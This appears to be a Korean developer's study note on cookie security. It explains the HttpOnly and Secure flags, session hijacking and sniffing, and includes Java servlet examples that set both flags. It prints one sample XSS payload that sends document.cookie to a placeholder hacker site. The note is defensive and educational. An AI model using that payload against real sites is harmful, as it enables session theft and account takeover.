Build Up
- HTTP는 기본적으로 무상태와 지속적으로 연결을 유지하지 않는 특징을 갖고 있다.
- 인증과정 방식중 header에 토큰 값이나, 세션 값들을 넣어 헤더를 체크하거나 혹은 cookie에 값들로 부터 인증여부를 판단한다.
- 쿠키에 담길 경우 해커들은 다양한 방법으로 해당 쿠키를 탈취하고자 한다.
- 세션하이재킹
- 패킷 스니핑
What
HttpOnly: 스크립트로 쿠키의 추출을 막고자 사용하는 것이 HTTP ONLY이다.
- 패킷 스니핑은 예방할 수 없다. 왜냐하면 패킷을 캡쳐하면 쿠키 정보를 알아낼 수 있기 때문이다.
- 무료 와이파이를 사용하는 공공장소에서 와이어샤크 툴을 통해 패킷을 캡쳐하여 탈취가 가능해진다.
Secure Cookies: http로 보내게 되면 쿠키를 전송하지 않게 되는 기술이다.
- https로 통신을 한다고 했지만 개발자의 실수 img 태그 같은 경우 src를 http://….. 로 보내게 되어 패킷을 감청하여 쿠키를 탈취 할 수 있게 된다.
- 클라이언트, 서버에서 모두 옵션 적용을 할 수 있다.
- TIP
- expiries, max-age 옵션이 지정되어 있지 않으면, 브라우저가 닫힐 때 쿠키도 함께 삭제된다.
- 이런 경우 session 쿠키라고 부른다.
- expires 나 max-age 옵션을 설정하면 브라우저를 닫아도 쿠키가 삭제되지 않는다.
Why
- HttpOnly를 사용하지 않으면 대표적인 공격으로 세션 하이재킹이 가능하게 된다.
- 인증이 완료된 사용자 브라우저에서 쿠키를 탈취 할 수 있다.
- 쿠키는 클라이언트에서 자바스크립트로 조회 할 수 있게된다.
- 그러면 악위적인 해커 사이트로 쿠키 정보가 전송되고 해커는 로그인 없이 쿠키를 사용할 수 있게 된다.

<script> location.href = '해커사이트주소?cookie=' + document.cookie </script>
- Secure Cookie를 사용하지 않으면 네트워크를 감청하여 쿠키를 알아 낼 수 있게 된다.
- https를 적용해도 개발자의 실수
<img src="http://www.example.com/images/logo.png" />
How
http only 사용법
http response : Set-Cookie: 쿠키명=쿠키값; path=/;
HttpOnly
- 접미사 HttpOnly만을 추가함으로써 script로 긁어가는 행위를 막을 수 있다. 기본적으로 이러한 쿠키는 따로 사용되어져야 하는 곳이 대부분 없기 때문에 기본적으로 적용하는 것이 좋다.
- 클라이언트 단에서는 방어할 수 없고 서버단에서 오직 조취를 취해야 한다.
public class TestHttpOnlyCookie { public static void main(String[] args) { HttpServletResponse response = new MockHttpServletResponse(); Cookie cookie = new Cookie("name", "어드민"); cookie.setHttpOnly(true); response.addCookie(cookie); } }
Secure Cookie 사용법
Set-Cookie: 쿠키명=쿠키값; path=/;
secure
- 접미사에 secure를 사용하여 https가 아닌 통신에서는 쿠키를 전송하지 않는다.
- 클라이언트, 서버 모두 적용가능하다.
public class TestHttpOnlyCookie { public static void main(String[] args) { HttpServletResponse response = new MockHttpServletResponse(); Cookie cookie = new Cookie("name", "어드민"); cookie.setHttpOnly(true); cookie.setSecure(true); response.addCookie(cookie); } }
REFER
- xss의 추가 공격법 있음 reflected xss